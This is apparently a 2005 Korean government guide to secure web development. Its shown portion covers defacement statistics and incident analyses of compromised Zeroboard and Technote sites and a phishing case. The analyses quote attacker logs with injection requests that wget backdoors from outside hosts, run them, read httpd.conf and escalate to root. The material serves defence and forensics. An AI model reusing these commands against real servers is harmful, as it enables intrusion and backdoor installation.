홈페이지 개발 보안 가이드

홈페이지 개발 보안 가이드
2005. 4.
발 간 사
홈페이지 서버는 개인들도 보유할 정도로 보급이 확산되고 있고, 그 중요도도
나날이 증가하고 있습니다. 하지만, 올해 초 해외 해커 그룹에 의해 수 천 개의
국내 홈페이지가 해킹 당하는 등 홈페이지 서버는 해커들의 주요 공격
대상이 되고 있습니다.
홈페이지 해킹으로 인한 피해도 초기화면 변조 또는 파괴, 홈페이지 서버를
경유한 내부 시스템으로의 침투, 고객 정보 유출 등 대단히 다양하고 심각할
수 있습니다. 홈페이지 해킹 사고는 개인이나 기업의 문제만이 아니라 홈페
이지가 정보화의 기반요소로 자리 매김 해 가고 있는 시점에서 국가 정보화의
진전을 저해할 수 있는 걸림돌로 작용할 수 있습니다.
한국정보보호진흥원에서는 홈페이지 변조사고 예방 및 대응을 위해 홈페
이지 서버 관리자 교육, 홈페이지 주요 취약점 및 대처요령 언론 홍보, 주요
공격 국가에 공격 중지 요청 등 다각적인 노력을 기울여 왔습니다.
또한, 최근의 대규모 홈페이지 변조사고의 주요 원인이 홈페이지 개발과정의
보안 취약점에 있음을 감안하여 저희 한국정보보호진흥원에서는 홈페이지
개발 실무자 및 홈페이지 서버 운영자들이 안전하게 홈페이지를 구축할 수
있도록 『홈페이지 개발 보안 가이드』를 발간하게 되었습니다.
이 가이드는 개발과정에서 발생될 수 있는 보안 취약점에 대한 상세 설명과
함께 주요 홈페이지 개발 언어별로 안전한 코드 예를 제공함으로써 홈
페이지 개발자 및 운영자들이 홈페이지 보안 강화에 실질적인 도움이 될 수
있으리라 생각하며, 본 가이드에 대해 많은 조언과 자문을 주신 분들께 깊이
감사 드립니다.
2005년 4월
한국정보보호진흥원
원장 이 홍 섭
이 보고서는 국내 홈페이지 변조사고의 감소를 목적으로 한국정보보호진
흥원 인터넷침해사고대응지원센터 해킹대응팀 연구원들이 참여하여 작성
하였으며, 국내 웹 보안 및 웹 애플리케이션 전문가들의 많은 조언이
있었습니다.
2005년 4월
사업 책임자 : 본 부 장 김우한(책임연구원)
연구 책임자 : 팀 장 성재모(선임연구원)
참여 연구원 : 정현철(선임연구원)
김영직(연구원)
외부 전문가 : 가성호(보안컨설턴트)
김경신(보안컨설턴트)
감 수 : 웹호스팅기업협회
김옥중(웹개발전문가)
정문수(보안컨설턴트)
목 차
개 요
제 1절 개 요 ····················································································· 1
제 2절 정보보호를 고려한 홈페이지 구축의 필요성 ······················ 4
홈페이지 해킹 현황 및 사례
제 1절 국내 홈페이지 해킹현황 ······················································ 6
1. 홈페이지 변조 현황 ································································ 6
2. 피싱사고 현황 ········································································· 7
제 2절 국내 홈페이지 해킹사례 ···················································· 10
1. 제로보드 취약점 피해 사례 ·················································· 10
2. 테크노트 취약점 피해사례 ···················································· 13
3. 피싱 사고 피해사례 ······························································ 17
홈페이지 개발시 보안 취약점 및 대책
제 1절 접근통제 취약점 ································································· 27
제 2절 부적절한 파라미터 ····························································· 37
제 3절 취약한 세션 관리(Cookie Injection) ·································· 43
제 4절 악의적인 명령 실행(XSS) ··················································· 52
제 5절 버퍼 오버플로우 ································································· 60
제 6절 악의적인 명령어 주입 공격 (SQL Injection) ···················· 69
제 7절 업로드 취약점 ····································································· 77
목 차
제 8절 다운로드 취약점 ································································· 89
제 9절 개발 보안 관리 ··································································· 95
제10절 부적절한 환경설정 (서버 설정관련) ································ 104
주요 애플리케이션 보안 대책
제 1 절 주요 웹 애플리케이션 보안 대책 ·································· 118
1. 제로보드 ··············································································· 118
2. 테크노트 ··············································································· 119
3. 그누보드 ··············································································· 120
제 2 절 주요 데이터베이스 보안 대책 ········································ 122
1. MySQL ················································································· 122
2. MS-SQL ················································································ 124
3. Oracle ··················································································· 127
결 론
참고자료 ········································································································· 146
[부록1] 개발 언어별 로그인 인증 프로세스 예제 ······································· 147
[부록2] 대규모 홈페이지 변조 예방을 위한 권고(안) ·································· 156
[부록3] 개인정보의 기술적․관리적 보호조치 기준(안) ································· 159
[부록4] 웹 보안관련 주요 사이트 리스트 ···················································· 162
표 차례
(표 2-1) 루트킷 환경설정 파일 ······································································· 20
(표 3-1) 특수문자 변경 ··················································································· 56
(표 3-2) 설정별 제공되는 헤더 정보 ···························································· 112
(표 4-1) MySQL 마스터 데이터베이스 테이블들의 기능 ···························· 123
(표 4-2) MS-SQL 서비스 팩 다운로드 사이트 ············································· 127
(표 4-3) Oracle DB 디폴트 사용자 계정 및 암호 ······································· 131
(표 4-4) 패키지별 보안 발생가능 문제점 ··················································· 133
목 차
그림 차례
(그림 1-1) 국내 홈페이지 변조 건수 ································································ 1
(그림 1-2) 정보시스템 개발 단계별 비용 절감 효과 ······································ 5
(그림 2-1) 일자별 홈페이지 변조 건수 ···························································· 7
(그림 2-2) 국내 피싱 사이트 악용 사고 건수 ················································· 8
(그림 2-3) netstat를 이용한 백도어 포트 확인 ·············································· 11
(그림 2-4) 삭제된 백도어 프로그램 확인 ······················································· 12
(그림 2-5) 공격 프로그램에 의한 CPU 점유 ················································· 13
(그림 2-6) 변조된 홈페이지 화면 ··································································· 14
(그림 2-7) 미국 ebay사 위장 사이트(피싱 사이트) ······································· 17
(그림 2-8) E-mail을 통해 전달된 금융정보 ··················································· 24
(그림 3-1) 관리자 페이지 인증을 우회한 화면 ·············································· 28
(그림 3-2) IP 주소별 접근제한 ······································································· 31
(그림 3-3) Argument 변조를 통한 명령 실행 ··············································· 38
(그림 3-4) 제3자의 Cookie 정보 탈취 ···························································· 52
(그림 3-5) 사용자 입력 부분에 악성코드 삽입 ·············································· 53
(그림 3-6) 수집된 Cookie 인증 정보 ····························································· 54
(그림 3-7) 악의적인 SQL Query문 삽입 ························································ 70
(그림 3-8) 게시판에 악성 스크립트 파일 업로드 ·········································· 78
(그림 3-9) 웹 서버 권한으로 시스템 명령어 실행 ········································ 78
(그림 3-10) IIS 보안 설정 ············································································· 80
(그림 3-11) 상대경로를 이용한 시스템 설정파일 다운로드 ·························· 90
(그림 3-12) .inc, .lib 확장자를 웹 사이트에서 처리하도록 설정 ·················· 99
(그림 3-13) 백업 파일 노출로 인한 소스 코드 열람 ··································· 105
(그림 3-14) 디렉토리 구조 노출 ··································································· 106
(그림 3-15) phpinfo 정보 ·············································································· 107
(그림 3-16) 관리자 history 파일 내용 ·························································· 108
(그림 3-17) Error Message 숨기기 ······························································· 115
(그림 4-1) MS-SQL Server 인증 방식 변경 ················································· 125
(그림 4-2) sa 계정의 패스워드 변경 ···························································· 125
(그림 4-3) 별도 계정 생성 후 데이터베이스 연결 ······································· 126
(그림 4-4) xp_cmdshell 프로시저 제거 ························································ 126
목 차
CD 컨텐츠
◦ 공개용 웹 점검 프로그램
- nikto
- webscarab
- whisker
◦ 웹 서버 보안 관리 가이드
- 웹 서버 보안 관리 가이드.pdf
◦ 홈페이지 개발 보안 가이드
- 홈페이지 개발 보안 가이드.pdf
◦ 홈페이지 개발 보안 가이드 프로그램 소스
- 홈페이지 개발 보안 가이드 프로그램 소스.txt
1
제1 절 개 요
2004년 연말부터 국내 홈페이지 변조사고가 급속히 증가하고 있는데, 지난
2004년 12월 22일에서 2005년 2월 1일 사이에 변조된 국내 홈페이지는 무려
7,000여개로써 지난 2004년 월평균 변조 건수인 401건과 비교해 급격히 증가
한 것을 알 수 있다.
출처:www.krcert.or.kr
(그림 1-1) 국내 홈페이지 변조 건수
38
280 127 339 337 172 262 423
709
335
756
1,034
6,478
0
1000
2000
3000
4000
5000
6000
7000
2004.1. 2004.2. 2004.3. 2004.4. 2004.5. 2004.6. 2004.7. 2004.8. 2004.9. 2004.10. 2004.11. 2004.12. 2005.1.
홈페이지 변조 피해업체는 대부분 한 서버에서 다수의 웹 사이트를 관리
하는 중소규모의 웹 호스팅 업체들로서, 웹 호스팅 서버에는 한 대의 시스템
에 수십∼수백 개의 소기업 또는 개인 홈페이지가 운영되고 있어 이들 홈페
이지 중 하나만 해킹을 당하더라도 서버내의 모든 홈페이지가 변조되거나
삭제될 수 있는 문제가 있다.
대부분의 홈페이지 변조 공격은 해외 해커그룹에 의해 이루어지고 있으며,
이 중 약 80%가 브라질 해커그룹에 의해 발생되었다.
제1장 개 요
2
홈페이지는 단순한 홍보 목적뿐만 아니라 사이버공간에서 상거래를 위한
주요 수단으로 자리 매김하고 있고, 내부 DB와 연동되어 다수의 고객 정보
를 보유하고 있다. 이러한 홈페이지의 변조는 피해기관에게 금전적인 손실을
야기 시킬 수 있을 뿐만 아니라 국가 위상까지 저하시킬 수 있다.
최근 홈페이지 변조사고의 원인은 대부분 국내 공개 게시판인 제로보드
등 PHP 기반 애플리케이션의 보안 취약점으로 확인되고 있다. 지난 연말 이
후 해외 주요 보안 사이트에 국내 웹 애플리케이션의 보안 취약점이 알려지
면서 국외 해커들에 의한 국내 홈페이지 변조사고가 급속히 증가하였다. 특
히, 최근 PHP Injection이라고 불리우는 공격방법에 의해 많은 공격이 이루
어지고 있다. PHP Injection은 PHP에서 제공하는 http 또는 ftp 프로토콜을
통한 외부 사이트의 소스를 실행할 수 있는 기능을 이용하여 공격자는 피해
업체 서버에서 임의의 명령실행이나 공격도구를 설치할 수 있는 공격 방법
이다.
웹 애플리케이션의 보안취약점을 이용한 해킹사고의 증가는 Symantec사
의 「Internet Security Threat Report(2004년 9월)」에서도 확인할 수 있다.
이 보고서에서는 2004년 상반기에 공격자가 가장 선호한 공격 포트는 80
번(웹 서비스)이며, 이는 전체 공격 포트 중 30%를 차지한다고 지적하였다.
이 수치는 2003년 하반기에 비해 10% 정도 증가한 것으로 홈페이지에 대한
공격의 증가를 확인할 수 있다.
또한, 2004년 상반기에 발표된 신규 취약점 중 479개의 취약점(전체 취약
점 수의 38.7%)이 웹 응용 프로그램과 관련되어 있어, 2003년 하반기의 31%
보다 8%가량 증가하였다. 즉 최근 웹 애플리케이션의 보안 취약점이 많이
발견되고 있고, 이들을 공격하기 위한 웹 포트로의 공격도 크게 증가하고 있
음을 알 수 있다.
3
안전한 홈페이지 서버를 구축하기 위해서는 네트워크, 호스트, 어플리케이
션 등 각 계층에서 보호할 수 있는 다단계적인 보안 접근법(Defense-
In-Depth)이 요구된다. 각 계층에 걸쳐서 정보보호의 위협을 평가하고 이에
따른 대책을 정의하여야 한다.
본 가이드에서는 최근 대부분의 홈페이지 변조사고의 원인이 게시판 등
웹 애플리케이션 자체의 보안 취약점에 있으므로, 웹 애플리케이션의 보안
보안대책을 중점적으로 다루고자 한다.
본 가이드는 홈페이지 개발자가 자체적으로 웹 애플리케이션이나 웹 컨텐
츠를 개발할 때 활용할 수 있으며, 홈페이지 운영자가 주요 공개 웹 애플리
케이션의 취약점 정보를 파악함으로써 안전한 운영을 하는데도 활용할 수
있을 것이다.
제2장에서는 홈페이지 변조 현황과 사고 사례를 소개함으로써 국내 홈페
이지 변조의 피해 규모와 세부 분석 결과를 살펴본다.
제3장에서는 홈페이지 개발 시 발생될 수 있는 대표적인 10가지의 보안
취약점과 그 대책에 대해 설명한다. 여기서는 각 취약점에 대한 구체적인 설
명과 이 취약점을 확인할 수 있는 방법 그리고, PHP, ASP, JSP 등 주요 웹
개발 언어별 안전한 코딩 예를 제시하도록 한다.
제4장에서는 국내 홈페이지 구축시에 많이 사용되는 게시판, DB 등 웹 관
련 프로그램들의 보안 취약점과 그에 대한 대책을 살펴보도록 한다.
제1장 개 요
4
제2 절 정보보호를 고려한 홈페이지 구축의 필요성
홈페이지 서버를 포함한 정보시스템의 정보보호를 제공하는 방법은 일반
적으로 추가(Add-on) 방식과 내장(embedded) 방식의 두 가지 방법이 있다.
추가 방식은 정보시스템의 설계 또는 구축 이후에 정보보호 제품이나 정
보보호 시스템을 추가 구현하는 방식이다. 홈페이지 서버 보안을 위해서도
웹 방화벽과 같은 추가적인 보안장비를 도입하는 것이 추가방식이라 할 수
있다. 이 방법은 정보보호 요구사항이 시스템 설계에 충분히 반영되지 않았
을 경우 적용할 수 있는 방법이지만 정보보호 제품과 정보 시스템 간의 상
호운용성 문제로 정보보호 제품 및 운영 중인 정보시스템의 변경이 요구되
는 등 성능 및 비용 측면에서 비효율성이 야기될 수 있는 문제점이 있다. 하
지만 이미 구축되어 있는 많은 웹 서버가 보안이 고려되지 않았으며 최근
공격대상이 웹 서버에 집중되고 있는 점을 고려한다면 추가방식에 의한 웹
보안도 고려할 만 하다.
둘째, 내장 방식은 정보시스템 계획 단계에서부터 정보보호 요구사항을 파
악하여 정보시스템 분석 및 설계에 정보보호 기능을 구현하는 방식으로, 초
기에는 정보보호 요구사항 파악 및 기능 구현을 위한 시간과 노력이 요구되
나 다른 정보시스템 기능과 원활한 상호운용성을 제공할 수 있어 결과적으
로 비용효과적인 방식이라 할 수 있다.
많은 웹 개발자들은 홈페이지를 구축할 때 효율성 및 편의성에 치중하여
설계․구축 단계에서 정보보호를 고려하지 못하고 있다. 또한, 홈페이지의
특성상 외부에 공개될 수 밖에 없고, 일반적인 침입차단시스템에 의해서 보
호받지 못하고 있어 최근 많은 해킹사고가 발생되고 있다. 해커에 의해서 뿐
아니라 업체의 모의해킹시에 주요 공격 대상이 되고 많은 취약점이 발견되
는 곳이 홈페이지 서버이다.
5
이미 구축되어 있는 홈페이지 서버의 보안취약점을 수정하는 것은 기존의
운영되고 있는 서비스에 영향을 미칠 수 있을뿐만 아니라 많은 비용이 수반
될 수밖에 없다.
정보보호 전문가에 의하면 추가 방식이 내장 방식에 비하여 10배의 추가
비용이 발생하는 것으로 나타났으며(Woods, 1996), MIT 경제학자 Hoo et
al.(2001)의 연구에서도 정보시스템 개발 초기부터 정보보호 요구사항을 반영
하면 유지 보수 과정의 많은 비용을 절감할 수 있는 것으로 나타났다. 특히,
Hoo et al.(2001)의 연구는 정보보호 투자 수익율(Return On Security
Investment)을 밝히기 위해 정보시스템 개발의 각 단계에서 정보보호 취약성
을 수정하는데 드는 비용의 절감 효과를 측정한 것으로, 연구 결과 아래 그
림과 같이, 정보시스템 개발의 각 단계 중 설계 단계에서 정보보호가 고려될
경우 21%, 구현 단계에서는 15%, 시험 단계에서는 12%의 비용이 절감될 수
있음이 실증적으로 확인되었다.
(그림 1-2) 정보시스템 개발 단계별 비용 절감 효과
설계
구현
테스트
21%
15%
12%
홈페이지 서버의 경우도 이미 구축․운영되고 있는 서버에서 정보보호를
반영하기 위해서는 보다 많은 비용이 수반될 뿐만 아니라 해킹사고 발생으
로 인해 서비스 장애로 인한 영업손실, 기업 이미지 실추, 고객 정보유출 등
의 피해도 발생될 수 있음을 감안해야만 할 것이다.
제2장 홈페이지 해킹 현황 및 사례
제1 절 국내 홈페이지 해킹현황
1. 홈페이지 변조 현황
국내 홈페이지를 대상으로 한 변조사고가 2004년 12월 22일(수)부터 급
격히 증가하여 2005년 2월 1일(목)까지 7,000여개의 국내 홈페이지가 변조
되었다.
홈페이지 변조사고는 이 기간 이전에도 꾸준히 발생하고 있었지만, 특히
이 기간 내 많은 변조사고가 발생한 이유는 단 한대의 해킹으로도 많은 수
의 홈페이지가 변조되는 웹 호스팅 서버의 해킹사고가 많았기 때문이다.
업체나 개인들에게 홈페이지 서비스를 제공하는 웹호스팅 서버 대상의 대
규모 변조사고 주요원인은 중소규모의 업체나 개인 홈페이지에서 많이 사용
되는 공개용 게시판 S/W인 제로보드의 취약점 때문인 것으로 확인되었다.
이러한 홈페이지 변조사고는 제로보드 등 웹 애플리케이션의 보안 취약점
에 대한 패치를 설치하거나, PHP의 설정을 변경함으로써 막을 수 있었지만
많은 웹 호스팅 업체와 홈페이지 운영자들이 보안인식 부재와 차단방법에
대한 지식 부족 등으로 피해는 쉽게 줄어들지 않았다.
다음 그래프는 2004년 12월 22일에서 2005년 2월 1일까지 국내 홈페이지
변조 피해 현황이다.
7
(그림 2-1) 일자별 홈페이지 변조 건수
전체 변조 건 중 대부분이 2004년 12월말에서 2005년 1월 중순까지 발생
하였다. 국내 홈페이지들은 대부분 국외 해커 그룹에 의해 해킹을 당했으며,
특히, 브라질 해커그룹에 의한 해킹 피해가 심각했다.
2. 피싱사고 현황
홈페이지 서버에 대한 해킹은 단순한 화면 변조에서 그치지 않고 신종 인
터넷 금융사기 수법인 피싱(Phishing)의 경유지로 이용되기도 한다. 피싱은
개인정보(Private)와 낚시(Fishing)의 합성어로 금융기관을 사칭해 불특정 다
수의 e메일 사용자에게 신용카드나 은행계좌정보 등을 빼내 불법적으로 이
용하는 신종 인터넷금융사기이다.
2004년 KrCERT/CC로 국내 시스템을 해킹하여 피싱 사이트로 악용한 사
고로 신고된 건수는 총 220건으로, 대부분 국외의 피해기관 피싱 담당자나
국외 CERT에서 접수되었다.
우리나라의 경우, 인터넷 뱅킹 등의 금융거래 시 공인인증 및 보안카드를
사용하도록 되어 있어 피싱을 통해 금융정보가 유출되어도 실제 금융사기로
연계될 가능성은 외국에 비해 낮은 편이며, 아직까지 씨티은행, 이베이 등
제2장 홈페이지 해킹 현황 및 사례
외국 업체를 대상으로 하는 피싱이 주를 이루고 있어 우리 국민의 피해는
신고되지 않고 있다. 다만, 피싱이 사회적 이슈가 됨에 따라 국내에서도 모
방 범죄가 발생할 가능성이 높다.
※ 국내 시스템을 해킹하여 피싱 위장사이트로 악용한 사고로 KrCERT/CC로 신고된 건수임.
(그림 2-2) 국내 피싱 사이트 악용 사고 건수
2
5
2
6
0
21 22
27
43
16
36
40
0
5
10
15
20
25
30
35
40
45
건수
1월 2월 3월 4월 5월 6월 7월 8월 9월 10월 11월 12월 월
또한, 우리나라는 인터넷 발달과 웹호스팅 서비스의 활성화로 상대적으로
많은 웹 사이트가 구축․운영되고 있으나, 이에 대한 보안관리 의식은 부족
해 해킹 등에 쉽게 노출되는 상황으로, 보안취약점을 패치 하지 않거나, 서
버 설정 시 유의해야 할 보안 사항을 반영하지 않은 학교, 소규모 비영리단
체, 중소기업 등의 웹 사이트가 해킹을 당해 피싱에 이용되고 있으므로, 각
기관에서는 운영중인 시스템을 점검․보완토록 하며, 피싱 사고 발생시에 신
속한 조치를 통해 피해 확산을 조기에 차단하여야 한다.
특정업체의 위장 홈페이지를 통해 주요 개인정보를 도용하는 피싱 사고도
홈페이지 변조의 유사사례라 볼 수 있는데, 기존 대부분의 피싱 사고는
9
Windows 시스템의 취약점을 많이 이용해왔던 기존의 유형이외에도 공개용
웹 게시판 프로그램의 취약점을 이용한 사례가 최근 자주 확인되고 있다.
웹 게시판을 이용한 피싱 사고의 경우, 웹 게시판의 취약점을 이용해 시스
템에 침입한 후 PHP로 제작된 피싱 관련 홈페이지 파일을 업로드하며, 이메
일 발송을 통해 업로드 한 홈페이지 파일로의 접속을 유도한다. 위장한 페이
지를 통해 입력된 개인정보는 초기에는 해킹 당한 시스템에 파일형태로 저
장되는 방식을 사용했으나, 최근에는 해커가 사용하는 메일로 전송되는 방식
이 주로 사용되는 것으로 확인되고 있다.
제2장 홈페이지 해킹 현황 및 사례
제2 절 국내 홈페이지 해킹사례
1. 제로보드 취약점 피해 사례
2004년 1월 2일, 운영 중인 사이트가 약 1,200여 개에 달하는 국내의 웹
호스팅 서버가 브라질 해커그룹에 의하여 홈페이지가 변조되는 사고가 발생
하였다.
분석결과, 해당 서버는 현재 취약점이 존재하는 것으로 알려진 PHP 4.3버
전과 제로보드 4.14 pl4버전이 사용되고 있었다. 또한 공격을 인지하기 전까
지 php.ini 파일의 설정이 "allow_url_fopen = On" 및 register_globals =
On 으로 설정되어 있어, PHP 설정 및 제로보드 취약점 문제로 인해 피해
가 발생한 것으로 추정되었다.
웹 로그 분석을 통해 최초 공격은 2005년 1월 2일 12:56:10에
200.193.xxx.xxx(브라질)로부터 시도된 것이 확인되었으며, 원격 사이트의
PHP 파일을 로컬 시스템에서 구동시킬 수 있는 제로보드 취약점이 이용된
것을 알 수 있었다.
200.193.xxx.xxx - - [02/Jan/2005:12:56:10 +0900] "GET /bbs/include/xxxxx.php?dir
=http://xxx.xxxx.xxx/yc/xxx.xxx?&xxx=id;%20uname%20-a;%20pwd HTTP/1.1" 200 8298
200.193.xxx.xxx - - [02/Jan/2005:13:00:18 +0900] "GET /bbs/include/xxxxx.php?dir
=http://xxx.xxxx.xxx/yc/xxx.xxx?&xxx=cd%20/tmp;%20wget%20http://rexix.altervista.org/yc/b
d;%20chmod%20777%20bd;%20./bd HTTP/1.1" 200 8284
200.193.xxx.xxx - - [02/Jan/2005:13:02:33 +0900] "GET /bbs/include/xxxxx.php?dir
=http://xxx.xxxx.xxx/yc/xxx.xxx?&xxx=cd%20/etc/httpd/conf;%20cat%20httpd.conf%20|%20g
rep%20ServerName HTTP/1.1" 200 8438
200.193.xxx.xxx - - [02/Jan/2005:13:03:07 +0900] "GET /bbs/include/xxxxx.php?dir
=http://xxx.xxxx.xxx/yc/xxx.xxx?&xxx=cd%20/etc/httpd/conf;%20cat%20httpd.conf
HTTP/1.1" 200 60320
11
다음은 netstat 명령을 이용해 TCP 1666번 포트의 접속상태를 확인한 내
용이다. 해당 포트는 netstat 명령을 통해 /tmp 디렉토리에 위치한 bd라는
파일이 오픈한 것이었으나, 실행 후 해당 파일이 삭제된 것을 알 수 있었다.
[root@blue log]# netstat -na |grep 1666
tcp 0 0 0.0.0.0:1666 0.0.0.0:* LISTEN
tcp 5 0 211.239.xxx.xxx:1666 200.193.xxx.xxx:32813 CLOSE_WAIT
tcp 2 0 211.239.xxx.xxx:1666 200.193.xxx.xxx:32803 ESTABLISHED
tcp 15 0 211.239.xxx.xxx:1666 201.1.xxx.xxx:2751 CLOSE_WAIT
tcp 7 0 211.239.xxx.xxx:1666 200.151.xxx.xxx:32799 CLOSE_WAIT
--------------------------------------------------------------------
inetnum: 200.128/9
status: allocated
owner: Comite Gestor da Internet no Brasil
ownerid: BR-CGIN-LACNIC
responsible: Frederico A C Neves
address: Av. das Na寤es Unidas, 11541, 7?andar
address: 04578-000 - S? Paulo - SP
country: BR
(그림 2-3) netstat를 이용한 백도어 포트 확인
제2장 홈페이지 해킹 현황 및 사례
(그림 2-4) 삭제된 백도어 프로그램 확인
백도어 프로그램인 bd를 이용해 시스템에 접속한 후 웹 서버 권한
(nobody)의 쉘을 확보하고, 이후 로컬 취약점을 이용하여 root 권한을 획득
한 것으로 보인다. 백도어 프로그램인 bd는 15시경이후 설치되었으며, CPU
의 95%를 차지하고 있었다.
apache 3382 79.3 0.0 1440 312 ? R 13:42 488:55 ./bd
apache 3383 0.0 0.1 2168 892 ttyp0 S 13:42 0:00 sh -i
root 3482 0.0 0.1 2200 892 ttyp0 S 13:44 0:06 /bin/sh
그 외 rc 등 부팅 디렉토리와 기타 위치에서 더 이상의 악성 프로그램을
발견할 수는 없었다.
13
(그림 2-5) 공격 프로그램에 의한 CPU 점유
공격자는 제로보드의 취약점을 이용하여 nobody 권한을 획득한 후, 다시
로컬 취약점을 이용하여 root 권한을 획득하고, 이 후 1,200여개의 웹 사이트
초기화면을 변조한 사건이었다.
2. 테크노트 취약점 피해사례
2004년 10월 28일, 17개 사이트에 대해 웹호스팅 서비스를 제공하고 있던
국내 리눅스 서버가 브라질 해커그룹에 의해 홈페이지가 변조되는 사고가
발생하였다.
해당 홈페이지 서버를 변조시킨 「int3rc3pt0r」라는 해커그룹은 한국의
서버를 대상으로 많은 사고를 일으키고 있는 브라질 해커 그룹으로서 2004
제2장 홈페이지 해킹 현황 및 사례
년 10월 한달 동안에 200개의 국내 홈페이지를 변조한 것으로 확인되었으며,
해당 서버를 분석한 결과, 웹호스팅 고객이 운영중인 한 사이트에서 사용되
고 있던 테크노트의 취약점을 이용해 시스템에 침입, 홈페이지를 변조한 것
으로 확인되었다.
(그림 2-6) 변조된 홈페이지 화면
테크노트 구성파일 중 업로드와 다운로드 시 사용되는 CGI 프로그램에서
관련 URL을 체크하지 않아 시스템 명령이 실행 될 수 있는 취약점을 이용
해 먼저 국외의 사이트에 저장시켜 놓은 백도어 프로그램을 해당 피해시스
템에 업로드 시키고, 백도어 파일의 실행권한 부여와 실행을 통해 피해시스
템에 백도어를 오픈 하였다.
15
201.9.xxx.xxx - - [28/Oct/2004:10:59:45 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxxx_xxxx&xxxxxx=|wget%20-P%20/tmp%
20http://xxx.xxxxx.com/cavaleirosb1/xpl/rootedoor| HTTP/1.1" 200 5 "-" "Mozilla/4.0 (compatible;
MSIE 5.0; Windows 98; DigExt)"
→ 백도어 파일 업로드
201.9.xxx.xxx - - [28/Oct/2004:11:00:10 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxxx_xxxx&xxxxxx=|cd%20..;cd%20..;cd%2
0..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd
%20/tmp;chmod%20777%20rootedoor;./rootedoor| HTTP/1.1" 200 5 "-" "Mozilla/4.0 (compatible;
MSIE 5.0; Windows 98; DigExt)"
→ 백도어파일 권한변경 및 실행
201.9.xxx.xxx - - [28/Oct/2004:11:00:20 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxxx_xxxx&xxxxxx=|cd%20..;cd%20..;cd%2
0..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd
%20/tmp;ls| HTTP/1.1" 200 3514 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
→ 백도어 파일 설치여부 확인
201.9.xxx.xxx - - [28/Oct/2004:11:00:53 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxxx_xxxx&xxxxxx=|wget%20-P%20/var/tm
p/%20http://members.aol.com/cavaleirosb1/xpl/rootedoor| HTTP/1.1" 200 5 "-" "Mozilla/4.0
(compatible; MSIE 5.0; Windows 98; DigExt)"
→ 백도어 파일 업로드 재시도
201.9.xxx.xxx - - [28/Oct/2004:11:01:17 +0900] "GET
/cgi/b/t/board/main.cgi?board=FREE_BOARD&command=xxxx_xxxx&xxxxxx=|cd%20..;cd%20..;cd%2
0..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20..;cd%20/var/
tmp/;chmod%20777%20rootedoor;./rootedoor| HTTP/1.1" 200 69 "-" "Mozilla/4.0 (compatible;
MSIE 5.0; Windows 98; DigExt)"
→ 백도어파일 권한변경 및 실행
그 후, 생성한 백도어를 통해 피해시스템에 접속한 후 root 권한 획득을
위해 wget을 사용해 로컬 취약점 공격프로그램을 다운로드 받은 후 실행하
여 root 권한을 획득하였다.
웹 로그 부분과 시스템의 last 로그를 통해 침입한 IP는 201.9.xxx.xxx으로
확인되었으며, Whois 조회를 통해 브라질 IP임을 알 수 있었다.
제2장 홈페이지 해킹 현황 및 사례
[root@xxx tmp]# ls -alct
total 468
drwxr-xr-x 19 root root 4096 Oct 29 12:38 ..
drwxrwxrwt 2 root root 4096 Oct 29 04:05 .
-rw------- 1 www www 234 Oct 28 12:34 .bash_history
-rwxrwxrwx 1 www www 446714 Oct 28 11:04 brk2
→ 로컬취약점 공격툴
-rwxrwxrwx 1 www www 10927 Oct 28 11:01 rootedoor
→ 백도어 프로그램
[root@xxx tmp]# more .bash_history
w
cd tmp
wget
ls
uname -a
locate httpd.conf
locate httpd.conf
find / -name httpd.conf
wget http://www.xxxxxxx.com.br/brk2
chmod 777 brk2.htm
./brk2.htm
chmod 777 brk2
./brk2
cp brk2 /var/tmp
cd ..
cd ..
cd /var/tmp
./brk2
bash-2.05a$ id
uid=502(abcd) gid=502(abcd) groups=502(abcd) → 일반 사용자 권한 접속상태
bash-2.05a$ cd /var/tmp
bash-2.05a$ ./brk2
id
sh-2.05a# id
uid=0(root) gid=0(root) → 해킹툴 실행후 루트권한으로 변경됨
sh-2.05a#
inetnum: 201.0/12
status: allocated
owner: Comite Gestor da Internet no Brasil
ownerid: BR-CGIN-LACNIC
responsible: Frederico A C Neves
address: Av. das Naes Unidas, 11541, 7° andar
address: 04578-000 - San Paulo - SP
country: BR
17
3. 피싱 사고 피해사례
2005년 2월 해외로부터 국내 A사 홈페이지 서버에 미국 ebay사의 위장
페이지가 서비스되고 있다는 통보를 받고 해당 사이트에 대한 확인작업에
들어갔다.
(그림 2-7) 미국 ebay사 위장 사이트(피싱 사이트)
이 사이트는 신고 접수된 시간에도 피싱관련 페이지가 열려져 있는 상태
였으며, 아래와 같이 “.4z1z3"라는 디렉토리를 새로 만들어 피싱 관련 페이
지를 만들어 놓았었다.
제2장 홈페이지 해킹 현황 및 사례
http://xxx.xxx.xxx.xxx/.4z1z4/.ssl/html/ebay/http_eBay.comdone-7E-20secure-7EaSSL-7Ear
estricted_activations_contine_verify_admin_security_ebay_SSLSECUREDaeBayaEchecka
EsecaccountID_har263748fusersecrbay4.htm
하지만, 공격자가 홈페이지 초기화면을 변조하는 등의 행위를 하지 않고
“.4z1z3"와 같은 디렉토리를 만들어 피싱에 이용하고 있어 홈페이지 관리자
가 해당 사실을 인지하기 힘들었다.
□ 피해 현황 및 공격 원인 분석
피해시스템 관리자와 연락을 취한 결과, 관리자가 분석의뢰 요청함에 따라
분석을 시작하였다. 피해시스템은 서버 호스팅 업체에서 IDC에 설치해 놓은
서버로서 서버 임대를 통해 홈페이지 서버로 사용하고 있었다. 현장 도착
시, 해당 시스템은 해킹으로 인한 악성 트래픽 발생 가능성으로 인해 호스팅
업체에서 네트워크 케이블을 분리한 상태였으므로, 콘솔 상에서 사고 분석을
진행하였다.
피해 시스템은 Linux 7.1, Apache 1.3.19, PHP 4.3.1 환경을 사용하고 있었
으며, 사용 중인 웹 게시판은 취약한 제로보드 4.1 pl4을 사용하고 있었다. 제
로보드는 취약한 버전이었으며, php.ini의 설정 또한 "allow_url_fopen =On",
